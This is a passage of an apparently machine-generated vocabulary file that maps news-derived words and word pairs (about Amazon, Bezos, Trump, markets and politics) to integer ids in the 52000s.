52017,\n  \"analyzing amazon\": 52018,\n  \"providing list\": 52019,\n  \"summer rohit\": 52020,\n  \"policy trump\": 52021,\n  \"inappropriate kudlow\": 52022,\n  \"tailspins\": 52023,\n  \"instructed easley\": 52024,\n  \"putin brand\": 52025,\n  \"force engagement\": 52026,\n  \"best photos\": 52027,\n  \"erin vanderhoof\": 52028,\n  \"acquire national\": 52029,\n  \"ad air\": 52030,\n  \"divulged\": 52031,\n  \"house bureau\": 52032,\n  \"sebold professor\": 52033,\n  \"capital market\": 52034,\n  \"blue color\": 52035,\n  \"395 shares\": 52036,\n  \"reported silicon\": 52037,\n  \"nasdaq googl\": 52038,\n  \"veteran donors\": 52039,\n  \"lizard\": 52040,\n  \"read vampire\": 52041,\n  \"years bezos\": 52042,\n  \"sent 080\": 52043,\n  \"alan arkin\": 52044,\n  \"sales jumped\": 52045,\n  \"currently democrats\": 52046,\n  \"air rights\": 52047,\n  \"developing lady\": 52048,\n  \"exclusive oval\": 52049,\n  \"conference michelle\": 52050,\n  \"passive\": 52051,\n  \"celebrates years\": 52052,\n  \"driving certain\": 52053,\n  \"expected headline\": 52054,\n  \"broader level\": 52055,\n  \"netflixs jessica\": 52056,\n  \"device cortana\": 52057,\n  \"tobacco\": 52058,\n  \"key travel\": 52059,\n  \"levels\": 52060,\n  \"centric approach\": 52061,\n  \"sent 730\": 52062,\n  \"beatriz car\": 52063,\n  \"things set\": 52064,\n  \"unprecedented\": 52065,\n  \"space companies\": 52066,\n  \"primarily long\": 52067,\n  \"tones meant\": 52068,\n  \"purposes trump\": 52069,\n  \"nationally acclaimed\": 52070,\n  \"emerged yesterday\": 52071,\n  \"reasonable person\": 52072,\n  \"constantinides\": 52073,\n  \"insane trailer\": 52074,\n  \"utm_content counter\": 52075,\n  \"jeans\": 52076,\n  \"newsroom cnn\": 52077,\n  \"income level\": 52078,\n  \"sconfirmed cristina\": 52079,\n  \"message impeach\": 52080,\n  \"critics questioned\": 52081,\n  \"partners instead\": 52082,\n  \"analysts figure\": 52083,\n  \"finance scholarships\": 52084,\n  \"auditor accountant\": 52085,\n  \"billion billion\": 52086,\n  \"knobbe martens\": 52087,\n  \"growth new\": 52088,\n  \"tight race\": 52089,\n  \"coined new\": 52090,\n  \"comfortable\": 52091,\n  \"unfairly taking\": 52092,\n  \"subsidised parcel\": 52093,\n  \"crumble trump\": 52094,\n  \"level believe\": 52095,\n  \"joined rt\": 52096,\n  \"dream data\": 52097,\n  \"bork\": 52098,\n  \"questions personally\": 52099,\n  \"whitman\": 52100,\n  \"packaged medications\": 52101,\n  \"nancy pelositakes\": 52102,\n  \"spying activities\": 52103,\n  \"ook\": 52104,\n  \"year ___\": 52105,\n  \"taken greater\": 52106,\n  \"odds\": 52107,\n  \"head shoulders\": 52108,\n  \"verge twitter\": 52109,\n  \"potter fan\": 52110,\n  \"tcehy messaging\": 52111,\n  \"establish continue\": 52112,\n  \"parents cover\": 52113,\n  \"price negotiated\": 52114,\n  \"responsibilities seriously\": 52115,\n  \"allegedly assumed\": 52116,\n  \"getting involved\": 52117,\n  \"boaz\": 52118,\n  \"nose ring\": 52119,\n  \"rate hike\": 52120,\n  \"number meant\": 52121,\n  \"dept tried\": 52122,\n  \"campbell soup\": 52123,\n  \"bezos narrator\": 52124,\n  \"exactly mcdowell\": 52125,\n  \"company grapples\": 52126,\n  \"drilling sites\": 52127,\n  \"hear michael\": 52128,\n  \"nearly dollar\": 52129,\n  \"month series\": 52130,\n  \"risks roiling\": 52131,\n  \"soon reveal\": 52132,\n  \"want payout\": 52133,\n  \"run 2018\": 52134,\n  \"party brush\": 52135,\n  \"loyalty marketing\": 52136,\n  \"director ljh\": 52137,\n  \"general store\": 52138,\n  \"enforcement framework\": 52139,\n  \"ap long\": 52140,\n  \"nyse gw\": 52141,\n  \"dollar corporate\": 52142,\n  \"imageserve 917134c164ee4890b8cdc865b3484943\": 52143,\n  \"shed light\": 52144,\n  \"ninth best\": 52145,\n  \"business line\": 52146,\n  \"sourceap\": 52147,\n  \"platform escalates\": 52148,\n  \"devices operate\": 52149,\n  \"past google\": 52150,\n  \"2018 winter\": 52151,\n  \"hardly contain\": 52152,\n  \"naughtiness\": 52153,\n  \"expiring\": 52154,\n  \"accumulated deficit\": 52155,\n  \"obama justice\": 52156,\n  \"awful\": 52157,\n  \"complete control\": 52158,\n  \"consensus\": 52159,\n  \"magazine dealings\": 52160,\n  \"amazon essentially\": 52161,\n  \"home cost\": 52162,\n  \"bedroom apartments\": 52163,\n  \"rising tariffs\": 52164,\n  \"pay hike\": 52165,\n  \"380\": 52166,\n  \"governmental entities\": 52167,\n  \"lives upside\": 52168,\n  \"uprising\": 52169,\n  \"company total\": 52170,\n  \"currently exploits\": 52171,\n  \"tariffs business\": 52172,\n  \"just investigated\": 52173,\n  \"authoritarian left\": 52174,\n  \"told stephanopoulos\": 52175,\n  \"crowd overreacts\": 52176,\n  \"page ads\": 52177,\n  \"congress encouraging\": 52178,\n  \"employs 630\": 52179,\n  \"development deals\": 52180,\n  \"bing liu\": 52181,\n  \"thorn\": 52182,\n  \"phrase counterfeit\": 52183,\n  \"alphabet umbrella\": 52184,\n  \"crash say\": 52185,\n  \"stand\": 52186,\n  \"ny comex\": 52187,\n  \"22m\": 52188,\n  \"reuters suspends\": 52189,\n  \"stuff shortly\": 52190,\n  \"sleeve\": 52191,\n  \"giant isn\": 52192,\n  \"office furniture\": 52193,\n  \"biography wrote\": 52194,\n  \"longtime chief\": 52195,\n  \"networks expensive\": 52196,\n  \"network saying\": 52197,\n  \"hopping\": 52198,\n  \"families making\": 52199,\n  \"credited\": 52200,\n  \"ruralistas\": 52201,\n  \"trump alleged\": 52202,\n  \"facility needs\": 52203,\n  \"second partial\": 52204,\n  \"really studied\": 52205,\n  \"company reports\": 52206,\n  \"turn deep\": 52207,\n  \"cancel planned\": 52208,\n  \"boulder colo\": 52209,\n  \"superfoods\": 52210,\n  \"unsafe rail\": 52211,\n  \"away postal\": 52212,\n  \"endcorporatewelfare mapoli\": 52213,\n  \"deeply impacting\": 52214,\n  \"rights ignoring\": 52215,\n  \"reread\": 52216,\n  \"allow heirs\": 52217,\n  \"orcl accusing\": 52218,\n  \"estate leadership\": 52219,\n  \"blatantly\": 52220,\n  \"kennedy raging\": 52221,\n  \"company offices\": 52222,\n  \"required environmental\": 52223,\n  \"nyt\": 52224,\n  \"margins salt\": 52225,\n  \"behavioral science\": 52226,\n  \"hostname\": 52227,\n  \"broad campaign\": 52228,\n  \"identical form\": 52229,\n  \"frontier data\": 52230,\n  \"writes anjani\": 52231,\n  \"reportedly met\": 52232,\n  \"eyeballs\": 52233,\n  \"open critic\": 52234,\n  \"lucca president\": 52235,\n  \"spending amazon\": 52236,\n  \"cancer organization\": 52237,\n  \"netted\": 52238,\n  \"actually moving\": 52239,\n  \"previously earmarked\": 52240,\n  \"stanley amazon\": 52241,\n  \"dozen chip\": 52242,\n  \"circumstances ask\": 52243,\n  \"won enforce\": 52244,\n  \"stories surrounding\": 52245,\n  \"amazon noah\": 52246,\n  \"ultimately leave\": 52247,\n  \"landmark agreement\": 52248,\n  \"wing versus\": 52249,\n  \"ives gbh\": 52250,\n  \"trying tougher\": 52251,\n  \"measure ocasio\": 52252,\n  \"sure individual\": 52253,\n  \"perfectly cited\": 52254,\n  \"bxp\": 52255,\n  \"gain new\": 52256,\n  \"biggest event\": 52257,\n  \"china agreed\": 52258,\n  \"bezos white\": 52259,\n  \"energy secretary\": 52260,\n  \"city johnson\": 52261,\n  \"jinping hits\": 52262,\n  \"desert island\": 52263,\n  \"breastfeeding cbs\": 52264,\n  \"marketplace doj\": 52265,\n  \"alert test\": 52266,\n  \"struggles amazon\": 52267,\n  \"practical makes\": 52268,\n  \"adweek\": 52269,\n  \"markles\": 52270,\n  \"deny doing\": 52271,\n  \"conservative majority\": 52272,\n  \"east room\": 52273,\n  \"declares national\": 52274,\n  \"original listings\": 52275,\n  \"empire saying\": 52276,\n  \"news owned\": 52277,\n  \"alice guan\": 52278,\n  \"translation\": 52279,\n  \"hey\": 52280,\n  \"opposite directions\": 52281,\n  \"bloombergquint\": 52282,\n  \"american consumers\": 52283,\n  \"technology notechforice\": 52284,\n  \"dano\": 52285,\n  \"bloomingdales zappos\": 52286,\n  \"imports promising\": 52287,\n  \"accounts\": 52288,\n  \"xxxtentacion\": 52289,\n  \"crony capitalists\": 52290,\n  \"biotechnologies geekwire\": 52291,\n  \"proudly say\": 52292,\n  \"day walmart\": 52293,\n  \"supermodel\": 52294,\n  \"tabloid parent\": 52295,\n  \"heineken pulls\": 52296,\n  \"queens borough\": 52297,\n  \"state employing\": 52298,\n  \"european parliament\": 52299,\n  \"level hardware\": 52300,\n  \"responded senator\": 52301,\n  \"began accepting\": 52302,\n  \"donnell yes\": 52303,\n  \"mascot\": 52304,\n  \"wba rite\": 52305,\n  \"opec countries\": 52306,\n  \"niet meer\": 52307,\n  \"pay price\": 52308,\n  \"post hopefully\": 52309,\n  \"hills west\": 52310,\n  \"media npr\": 52311,\n  \"sold wunderman\": 52312,\n  \"prose world\": 52313,\n  \"bias racism\": 52314,\n  \"big low\": 52315,\n  \"kovach wait\": 52316,\n  \"field trump\": 52317,\n  \"sexually harassing\": 52318,\n  \"ellerth\": 52319,\n  \"instructive\": 52320,\n  \"morels\": 52321,\n  \"sharp cuts\": 52322,\n  \"retail crisis\": 52323,\n  \"far woo\": 52324,\n  \"roses\": 52325,\n  \"br\": 52326,\n  \"truce tensions\": 52327,\n  \"2018 raking\": 52328,\n  \"bezos calling\": 52329,\n  \"reports reveal\": 52330,\n  \"wirecard executives\": 52331,\n  \"street 2018\": 52332,\n  \"scandalous affair\": 52333,\n  \"just having\": 52334,\n  \"inmate death\": 52335,\n  \"tabloid practice\": 52336,\n  \"shear\": 52337,\n  \"social\": 52338,\n  \"comedian jimmy\": 52339,\n  \"642\": 52340,\n  \"news organisations\": 52341,\n  \"told dailymail\": 52342,\n  \"actually feeling\": 52343,\n  \"stunning visual\": 52344,\n  \"positive sentiment\": 52345,\n  \"suppressing\": 52346,\n  \"build major\": 52347,\n  \"creators jeff\": 52348,\n  \"japanese american\": 52349,\n  \"based oftentimes\": 52350,\n  \"hands hiring\": 52351,\n  \"kernen nightly\": 52352,\n  \"sanchez operated\": 52353,\n  \"2019 ccn\": 52354,\n  \"catastrophic outcomes\": 52355,\n  \"time sears\": 52356,\n  \"editorial operations\": 52357,\n  \"villain\": 52358,\n  \"saudi grass\": 52359,\n  \"sanctions 1540500741\": 52360,\n  \"functions\": 52361,\n  \"sparked giant\": 52362,\n  \"rhinoceros contains\": 52363,\n  \"remaining publishers\": 52364,\n  \"veterans day\": 52365,\n  \"new dsps\": 52366,\n  \"barron sears\": 52367,\n  \"initiated bearish\": 52368,\n  \"ecommerce platforms\": 52369,\n  \"dumpster\": 52370,\n  \"climate action\": 52371,\n  \"following backlash\": 52372,\n  \"freight trucking\": 52373,\n  \"day version\": 52374,\n  \"john trumpshocking\": 52375,\n  \"routley\": 52376,\n  \"goog rec\": 52377,\n  \"record fine\": 52378,\n  \"beat amazon\": 52379,\n  \"hyped second\": 52380,\n  \"involving trump\": 52381,\n  \"2019 president\": 52382,\n  \"2021 right\": 52383,\n  \"noise\": 52384,\n  \"taiwan\": 52385,\n  \"seller base\": 52386,\n  \"videos election\": 52387,\n  \"boost\": 52388,\n  \"federal mandatory\": 52389,\n  \"market overview\": 52390,\n  \"raise numbers\": 52391,\n  \"robocall blocking\": 52392,\n  \"large presences\": 52393,\n  \"publicly releasing\": 52394,\n  \"week walmart\": 52395,\n  \"webster\": 52396,\n  \"item engulfed\": 52397,\n  \"growth advertising\": 52398,\n  \"booster seat\": 52399,\n  \"investors moser\": 52400,\n  \"rules finds\": 52401,\n  \"resented\": 52402,\n  \"deliver oddest\": 52403,\n  \"1940\": 52404,\n  \"considerable hit\": 52405,\n  \"yr attempting\": 52406,\n  \"nantz president\": 52407,\n  \"obtain reviews\": 52408,\n  \"blogger pretzel\": 52409,\n  \"roe\": 52410,\n  \"secrecy\": 52411,\n  \"legitimate questions\": 52412,\n  \"amazon forecast\": 52413,\n  \"dollar fine\": 52414,\n  \"gossip sheet\": 52415,\n  \"seeing revenue\": 52416,\n  \"trends 2018\": 52417,\n  \"closet goldman\": 52418,\n  \"ban huawei\": 52419,\n  \"schwartz clarified\": 52420,\n  \"romancing\": 52421,\n  \"inc_custom_teaser null\": 52422,\n  \"rich owners\": 52423,\n  \"buseyisms\": 52424,\n  \"american centric\": 52425,\n  \"morning sessions\": 52426,\n  \"alleged mistreatment\": 52427,\n  \"year sought\": 52428,\n  \"relives\": 52429,\n  \"act aimed\": 52430,\n  \"weighed data\": 52431,\n  \"fairly unequal\": 52432,\n  \"exclusive services\": 52433,\n  \"arrangement fully\": 52434,\n  \"real national\": 52435,\n  \"pr amazon\": 52436,\n  \"active litigation\": 52437,\n  \"wayfair south\": 52438,\n  \"castro vice\": 52439,\n  \"seat hot\": 52440,\n  \"vice news\": 52441,\n  \"2016 tax\": 52442,\n  \"hostilities escalate\": 52443,\n  \"order private\": 52444,\n  \"direct antitrust\": 52445,\n  \"fleeced\": 52446,\n  \"internet interconnection\": 52447,\n  \"deductions amazon\": 52448,\n  \"trump discontinued\": 52449,\n  \"seemingly hit\": 52450,\n  \"members questioning\": 52451,\n  \"love shopping\": 52452,\n  \"certainly face\": 52453,\n  \"reality kaitlan\": 52454,\n  \"reinsurance obamacare\": 52455,\n  \"kangaroo\": 52456,\n  \"naval war\": 52457,\n  \"granted patents\": 52458,\n  \"lsu fraternity\": 52459,\n  \"strange burrito\": 52460,\n  \"charitable bezos\": 52461,\n  \"james lim\": 52462,\n  \"mentioning trump\": 52463,\n  \"century watch\": 52464,\n  \"offering overlapping\": 52465,\n  \"decker planes\": 52466,\n  \"bothers warren\": 52467,\n  \"tensions fears\": 52468,\n  \"facebook instagram\": 52469,\n  \"moves vietnam\": 52470,\n  \"nes\": 52471,\n  \"creative competitive\": 52472,\n  \"emanuel\": 52473,\n  \"noam chomsky\": 52474,\n  \"help local\": 52475,\n  \"plans billion\": 52476,\n  \"york review\": 52477,\n  \"publication axios\": 52478,\n  \"headquarters location\": 52479,\n  \"space sounds\": 52480,\n  \"conservative network\": 52481,\n  \"203 000\": 52482,\n  \"meltdown florida\": 52483,\n  \"infrastructure\": 52484,\n  \"photos updating\": 52485,\n  \"prosecutors chose\": 52486,\n  \"individuals alleging\": 52487,\n  \"site andrew\": 52488,\n  \"really help\": 52489,\n  \"speech fb\": 52490,\n  \"facebook coo\": 52491,\n  \"alleged bribery\": 52492,\n  \"time period\": 52493,\n  \"mcmaster campus\": 52494,\n  \"bonus trump\": 52495,\n  \"presidentwas acting\": 52496,\n  \"brian kilmeade\": 52497,\n  \"fish scraps\": 52498,\n  \"parking meter\": 52499,\n  \"contractually trump\": 52500,\n  \"deadline saudi\": 52501,\n  \"failing workers\": 52502,\n  \"business wing\": 52503,\n  \"enquirer bezos\": 52504,\n  \"queryselectorall a4ee\": 52505,\n  \"post claims\": 52506,\n  \"times ice\": 52507,\n  \"finalizes plans\": 52508,\n  \"article cited\": 52509,\n  \"nextshark criticised\": 52510,\n  \"violating tax\": 52511,\n  \"house changing\": 52512,\n  \"president follow\": 52513,\n  \"economics abercrombie\": 52514,\n  \"agribusiness friendly\": 52515,\n  \"apple bull\": 52516,\n  \"horrified\": 52517,\n  \"look silly\": 52518,\n  \"utah biden\": 52519,\n  \"betraying\": 52520,\n  \"lookback feature\": 52521,\n  \"reaching settlement\": 52522,\n  \"exec jennifer\": 52523,\n  \"parscale responded\": 52524,\n  \"depaolo\": 52525,\n  \"narrated\": 52526,\n  \"ucf\": 52527,\n  \"final seed\": 52528,\n  \"add_commas goal\": 52529,\n  \"solo special\": 52530,\n  \"renewables\": 52531,\n  \"happy thanksgiving\": 52532,\n  \"services offered\": 52533,\n  \"recommends shareholders\": 52534,\n  \"communication etf\": 52535,\n  \"347\": 52536,\n  \"mcdlf\": 52537,\n  \"attacking favor\": 52538,\n  \"press aug\": 52539,\n  \"tropical storm\": 52540,\n  \"college green\": 52541,\n  \"making positive\": 52542,\n  \"bureaucracy smalls\": 52543,\n  \"sinclair conservative\": 52544,\n  \"league politics\": 52545,\n  \"blindsided\": 52546,\n  \"bi partisan\": 52547,\n  \"hemker gale\": 52548,\n  \"oppose amazon\": 52549,\n  \"detects\": 52550,\n  \"pillow\": 52551,\n  \"1974 relied\": 52552,\n  \"traditional home\": 52553,\n  \"housing problems\": 52554,\n  \"people resent\": 52555,\n  \"amusement park\": 52556,\n  \"reduce costs\": 52557,\n  \"paulo state\": 52558,\n  \"astoria east\": 52559,\n  \"store amazon\": 52560,\n  \"breeze took\": 52561,\n  \"replacement descriptionplaintext\": 52562,\n  \"bezos photographed\": 52563,\n  \"alabama jeff\": 52564,\n  \"attacks combined\": 52565,\n  \"story antitrust\": 52566,\n  \"school subreddit\": 52567,\n  \"enemy\": 52568,\n  \"industry outreach\": 52569,\n  \"montana faith\": 52570,\n  \"20180808\": 52571,\n  \"disquieting\": 52572,\n  \"risk democratic\": 52573,\n  \"actually turning\": 52574,\n  \"rallying point\": 52575,\n  \"washington including\": 52576,\n  \"members buzz60\": 52577,\n  \"preceding films\": 52578,\n  \"hase\": 52579,\n  \"paced\": 52580,\n  \"beans rot\": 52581,\n  \"saps\": 52582,\n  \"speaking truth\": 52583,\n  \"facebook ownership\": 52584,\n  \"victor reklaitis\": 52585,\n  \"visceral seeing\": 52586,\n  \"low 272\": 52587,\n  \"guida\": 52588,\n  \"centenary\": 52589,\n  \"week major\": 52590,\n  \"disney buddies\": 52591,\n  \"amerika\": 52592,\n  \"comrades\": 52593,\n  \"investigations ryan\": 52594,\n  \"cheap bartiromo\": 52595,\n  \"maria tweeting\": 52596,\n  \"bromance\": 52597,\n  \"privacy controversies\": 52598,\n  \"entitled united\": 52599,\n  \"cnn filed\": 52600,\n  \"smoothies drinks\": 52601,\n  \"company canopy\": 52602,\n  \"refused neal\": 52603,\n  \"onsies featuring\": 52604,\n  \"including opioids\": 52605,\n  \"class people\": 52606,\n  \"bags sold\": 52607,\n  \"rep gerry\": 52608,\n  \"mild concern\": 52609,\n  \"motivations abramowitz\": 52610,\n  \"trump published\": 52611,\n  \"ebola\": 52612,\n  \"hit postcode\": 52613,\n  \"beguiled photo\": 52614,\n  \"usually arrive\": 52615,\n  \"garnered national\": 52616,\n  \"grace meng\": 52617,\n  \"idea says\": 52618,\n  \"ageism gop\": 52619,\n  \"ceo travels\": 52620,\n  \"investigation ami\": 52621,\n  \"politics professor\": 52622,\n  \"defeated head\": 52623,\n  \"friendly innovative\": 52624,\n  \"capwealth limited\": 52625,\n  \"royal train\": 52626,\n  \"blake wilson\": 52627,\n  \"existing contracts\": 52628,\n  \"manafort\": 52629,\n  \"oembed frame\": 52630,\n  \"long speech\": 52631,\n  \"h0 i9\": 52632,\n  \"extraordinary movement\": 52633,\n  \"aside million\": 52634,\n  \"2000\": 52635,\n  \"base period\": 52636,\n  \"equivalency\": 52637,\n  \"700 amazon\": 52638,\n  \"speak publicly\": 52639,\n  \"remarks questions\": 52640,\n  \"trump clothes\": 52641,\n  \"contract shortage\": 52642,\n  \"lev harir\": 52643,\n  \"jon\": 52644,\n  \"mair decision\": 52645,\n  \"games mario\": 52646,\n  \"situation room\": 52647,\n  \"postal regulatory\": 52648,\n  \"merging fictional\": 52649,\n  \"crusade david\": 52650,\n  \"says word\": 52651,\n  \"volleys lobbed\": 52652,\n  \"ceo beer\": 52653,\n  \"bezos n\\u00e9e\": 52654,\n  \"world young\": 52655,\n  \"post office\": 52656,\n  \"hid information\": 52657,\n  \"initially know\": 52658,\n  \"standing desk\": 52659,\n  \"exactly\": 52660,\n  \"coratti\": 52661,\n  \"thatbefore right\": 52662,\n  \"challenging levels\": 52663,\n  \"routinely rely\": 52664,\n  \"emergency mueller\": 52665,\n  \"gallerytitle head\": 52666,\n  \"hasn sued\": 52667,\n  \"wnyc governor\": 52668,\n  \"flamethrower cum\": 52669,\n  \"weekend revealed\": 52670,\n  \"land adjacent\": 52671,\n  \"workplace grievances\": 52672,\n  \"nests according\": 52673,\n  \"markets lower\": 52674,\n  \"senator attack\": 52675,\n  \"competitive domestic\": 52676,\n  \"shouts amazon\": 52677,\n  \"vaccine varicella\": 52678,\n  \"mps 2019\": 52679,\n  \"worldwide revenues\": 52680,\n  \"fake navarro\": 52681,\n  \"hateful racist\": 52682,\n  \"ago man\": 52683,\n  \"shares fall\": 52684,\n  \"icann meeting\": 52685,\n  \"risked antitrust\": 52686,\n  \"postal discounts\": 52687,\n  \"normal people\": 52688,\n  \"middlemen\": 52689,\n  \"run congress\": 52690,\n  \"damn minds\": 52691,\n  \"facebook suddenly\": 52692,\n  \"pennsylvania iran\": 52693,\n  \"intermediate elections\": 52694,\n  \"sliming trump\": 52695,\n  \"paper blunts\": 52696,\n  \"blistering new\": 52697,\n  \"horrible corporate\": 52698,\n  \"photographer cnn\": 52699,\n  \"walker rhetorically\": 52700,\n  \"manufacturing output\": 52701,\n  \"freightwaves\": 52702,\n  \"ami rationale\": 52703,\n  \"press released\": 52704,\n  \"sector particularly\": 52705,\n  \"8df1y5uwxr jonathan\": 52706,\n  \"tm launched\": 52707,\n  \"plan means\": 52708,\n  \"300 fine\": 52709,\n  \"trade argues\": 52710,\n  \"bashed\": 52711,\n  \"years immigration\": 52712,\n  \"conditions circumstance\": 52713,\n  \"particularly surprising\": 52714,\n  \"delivery infrastructure\": 52715,\n  \"success\": 52716,\n  \"old native\": 52717,\n  \"tired pathetic\": 52718,\n  \"summit did\": 52719,\n  \"china shop\": 52720,\n  \"discussion draft\": 52721,\n  \"politics associating\": 52722,\n  \"fb privacy\": 52723,\n  \"jackson black\": 52724,\n  \"ulee\": 52725,\n  \"field day\": 52726,\n  \"hsbc hldg\": 52727,\n  \"successful extortion\": 52728,\n  \"apparent affair\": 52729,\n  \"net a4ee\": 52730,\n  \"electrical goods\": 52731,\n  \"loadedfully false\": 52732,\n  \"trump response\": 52733,\n  \"summer looking\": 52734,\n  \"california attorney\": 52735,\n  \"frank diary\": 52736,\n  \"speakerryan\": 52737,\n  \"exciting retail\": 52738,\n  \"environmental leader\": 52739,\n  \"shopping having\": 52740,\n  \"scrutiny instead\": 52741,\n  \"grins\": 52742,\n  \"sweeps\": 52743,\n  \"barius\": 52744,\n  \"start tech\": 52745,\n  \"2018 everybody\": 52746,\n  \"elaine wynn\": 52747,\n  \"occasion taking\": 52748,\n  \"groups sued\": 52749,\n  \"175 shares\": 52750,\n  \"matter having\": 52751,\n  \"amazon look\": 52752,\n  \"chances trump\": 52753,\n  \"country manager\": 52754,\n  \"caller news\": 52755,\n  \"years later\": 52756,\n  \"scientific planning\": 52757,\n  \"emailed\": 52758,\n  \"accurate white\": 52759,\n  \"homewood samhomewood\": 52760,\n  \"energy independence\": 52761,\n  \"50million private\": 52762,\n  \"joe kernen\": 52763,\n  \"plan hasn\": 52764,\n  \"kernel virtual\": 52765,\n  \"simon schuster\": 52766,\n  \"northfield bank\": 52767,\n  \"attract higher\": 52768,\n  \"software republican\": 52769,\n  \"dr abdul\": 52770,\n  \"cadets reader\": 52771,\n  \"malinowski discusses\": 52772,\n  \"x5 phone\": 52773,\n  \"2018 swiss\": 52774,\n  \"safely\": 52775,\n  \"reputation elected\": 52776,\n  \"preferred locations\": 52777,\n  \"cop netflix\": 52778,\n  \"investigator working\": 52779,\n  \"formatted_text jeff\": 52780,\n  \"manufacturing midas\": 52781,\n  \"isn pardoned\": 52782,\n  \"approved new\": 52783,\n  \"enquirer began\": 52784,\n  \"autostartvideo\": 52785,\n  \"legal establishment\": 52786,\n  \"brand image\": 52787,\n  \"unpaid\": 52788,\n  \"customers revenue\": 52789,\n  \"just threaten\": 52790,\n  \"sherm\": 52791,\n  \"bipartisan majorities\": 52792,\n  \"mythical breakfast\": 52793,\n  \"wrap reports\": 52794,\n  \"just matter\": 52795,\n  \"sentenced\": 52796,\n  \"125 nets\": 52797,\n  \"agency new\": 52798,\n  \"broad based\": 52799,\n  \"mchugh confirmed\": 52800,\n  \"stock advisor\": 52801,\n  \"garofalo photo\": 52802,\n  \"virginia redistricting\": 52803,\n  \"netflix despite\": 52804,\n  \"2386144\": 52805,\n  \"years tumbled\": 52806,\n  \"street mailboxes\": 52807,\n  \"opioid prescriptions\": 52808,\n  \"afghan allies\": 52809,\n  \"scores hell\": 52810,\n  \"company misses\": 52811,\n  \"carry\": 52812,\n  \"sh read\": 52813,\n  \"electric dreams\": 52814,\n  \"legal marijuana\": 52815,\n  \"people regarded\": 52816,\n  \"little light\": 52817,\n  \"apparently operated\": 52818,\n  \"statement granting\": 52819,\n  \"google project\": 52820,\n  \"balance unfortunately\": 52821,\n  \"health spokeswoman\": 52822,\n  \"remanded\": 52823,\n  \"era abortion\": 52824,\n  \"quote sad\": 52825,\n  \"hunter\": 52826,\n  \"google shares\": 52827,\n  \"amazon requires\": 52828,\n  \"assailing\": 52829,\n  \"met earlier\": 52830,\n  \"whittle\": 52831,\n  \"trump implored\": 52832,\n  \"amid peace\": 52833,\n  \"labeled judicially\": 52834,\n  \"expired giving\": 52835,\n  \"facing dismissal\": 52836,\n  \"remaining\": 52837,\n  \"wants protection\": 52838,\n  \"president dave\": 52839,\n  \"gates buffett\": 52840,\n  \"2019 clearly\": 52841,\n  \"amazon wow\": 52842,\n  \"roughly 450\": 52843,\n  \"quietly removed\": 52844,\n  \"spending disclosure\": 52845,\n  \"bezos extraordinary\": 52846,\n  \"university poll\": 52847,\n  \"know obviously\": 52848,\n  \"portal results\": 52849,\n  \"highlights politically\": 52850,\n  \"success preventing\": 52851,\n  \"tolerance\": 52852,\n  \"manage old\": 52853,\n  \"tract\": 52854,\n  \"marquee names\": 52855,\n  \"house continue\": 52856,\n  \"virginia elected\": 52857,\n  \"obtained personal\": 52858,\n  \"election orders\": 52859,\n  \"fiery tweet\": 52860,\n  \"columnist jim\": 52861,\n  \"kol\": 52862,\n  \"eloquently\": 52863,\n  \"today arizona\": 52864,\n  \"actually followed\": 52865,\n  \"ideological leadership\": 52866,\n  \"consideration\": 52867,\n  \"wines\": 52868,\n  \"disarmament talks\": 52869,\n  \"ordinary mortals\": 52870,\n  \"biggest piece\": 52871,\n  \"amazon eventually\": 52872,\n  \"michael friedenberg\": 52873,\n  \"lacerda\": 52874,\n  \"public opposition\": 52875,\n  \"internet portal\": 52876,\n  \"vehicles\": 52877,\n  \"words started\": 52878,\n  \"hottovy don\": 52879,\n  \"inventory place\": 52880,\n  \"websites digital\": 52881,\n  \"regulators\": 52882,\n  \"marketing experts\": 52883,\n  \"slower\": 52884,\n  \"called donald\": 52885,\n  \"republic invest\": 52886,\n  \"giant walmart\": 52887,\n  \"cohen reuters\": 52888,\n  \"morgan ricke\": 52889,\n  \"awards winning\": 52890,\n  \"democrats colluding\": 52891,\n  \"activity 285\": 52892,\n  \"intersect cap\": 52893,\n  \"board voted\": 52894,\n  \"lark ro\": 52895,\n  \"consumer demand\": 52896,\n  \"shame says\": 52897,\n  \"power broker\": 52898,\n  \"espn face\": 52899,\n  \"dam assets\": 52900,\n  \"harshly\": 52901,\n  \"leaked content\": 52902,\n  \"pullout despite\": 52903,\n  \"ext small\": 52904,\n  \"going smoothly\": 52905,\n  \"actually shows\": 52906,\n  \"borscht\": 52907,\n  \"hat tip\": 52908,\n  \"oars alps\": 52909,\n  \"showed great\": 52910,\n  \"local consumption\": 52911,\n  \"northern accumulated\": 52912,\n  \"carrying signs\": 52913,\n  \"justice reform\": 52914,\n  \"midterms reach\": 52915,\n  \"darn tough\": 52916,\n  \"east coast\": 52917,\n  \"nra tv\": 52918,\n  \"jmac8560\": 52919,\n  \"newman secretly\": 52920,\n  \"pleads guilty\": 52921,\n  \"heard accounts\": 52922,\n  \"products charge\": 52923,\n  \"investors ranging\": 52924,\n  \"special agents\": 52925,\n  \"baby boomers\": 52926,\n  \"circumstance luck\": 52927,\n  \"consensys steemit\": 52928,\n  \"wagging\": 52929,\n  \"amazon press\": 52930,\n  \"austin morgan\": 52931,\n  \"amazon coms\": 52932,\n  \"lionel\": 52933,\n  \"cloud division\": 52934,\n  \"51s2p\": 52935,\n  \"enomoto did\": 52936,\n  \"plants science\": 52937,\n  \"posts losses\": 52938,\n  \"uk world\": 52939,\n  \"prices monopolists\": 52940,\n  \"team privately\": 52941,\n  \"fact deficient\": 52942,\n  \"conventional treatment\": 52943,\n  \"aa a4ee\": 52944,\n  \"trump critic\": 52945,\n  \"illustrate\": 52946,\n  \"impact study\": 52947,\n  \"foundations new\": 52948,\n  \"natural way\": 52949,\n  \"388 votes\": 52950,\n  \"generic drugmaker\": 52951,\n  \"earningsfriday\": 52952,\n  \"deal fan\": 52953,\n  \"recipients allen\": 52954,\n  \"pedroncelli file\": 52955,\n  \"lgbtq read\": 52956,\n  \"buy microsoft\": 52957,\n  \"president visits\": 52958,\n  \"communication collaboration\": 52959,\n  \"reflects growing\": 52960,\n  \"muteoverlayclicked true\": 52961,\n  \"numerically fewer\": 52962,\n  \"klobuchar minn\": 52963,\n  \"firearm blueprints\": 52964,\n  \"regime\": 52965,\n  \"mcconnell ky\": 52966,\n  \"macy korea\": 52967,\n  \"denoting\": 52968,\n  \"egyptian\": 52969,\n  \"provides return\": 52970,\n  \"logo reflected\": 52971,\n  \"enu\": 52972,\n  \"published post\": 52973,\n  \"gun battle\": 52974,\n  \"identification time\": 52975,\n  \"council repealed\": 52976,\n  \"theory jumps\": 52977,\n  \"guacamole clean\": 52978,\n  \"perceived affronts\": 52979,\n  \"biggest fish\": 52980,\n  \"prototype seattle\": 52981,\n  \"deyoung reporter\": 52982,\n  